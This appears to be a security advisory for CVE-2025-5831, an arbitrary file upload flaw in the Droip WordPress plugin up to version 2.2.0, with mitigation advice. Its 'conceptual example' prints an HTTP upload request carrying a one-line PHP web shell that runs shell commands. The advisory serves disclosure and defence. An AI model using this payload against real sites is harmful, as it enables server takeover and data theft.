Overview
A high-severity vulnerability has been identified in the Droip plugin for WordPress. This vulnerability, tagged as CVE-2025-5831, allows authenticated attackers to upload arbitrary files due to missing file type validation. Any user with Subscriber-level access or above to a WordPress site running the Droip plugin is potentially an attacker. This vulnerability exposes the affected site’s server to remote code execution, potentially leading to a system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-5831
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Droip Plugin for WordPress | Up to and including 2.2.0
How the Exploit Works
The vulnerability lies in the make_google_font_offline() function of the Droip plugin for WordPress. This function lacks proper file type validation, thus allowing an authenticated attacker to upload arbitrary files on the server of the affected site. An attacker, with at least Subscriber-level access, can exploit this lack of validation to upload malicious files, potentially leading to remote code execution.
Conceptual Example Code
The conceptual example below illustrates how an attacker might exploit this vulnerability using a malicious payload:
POST /wp-content/plugins/droip/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker attempts to upload a PHP script file with a shell execution command. If successful, the attacker can execute arbitrary code on the server.
Recommended Mitigation
The immediate recommended mitigation is to apply the vendor-supplied patch. If the patch is not available or applying it is not immediately feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures are not a permanent solution and the patch should be applied as soon as possible to fix the vulnerability permanently.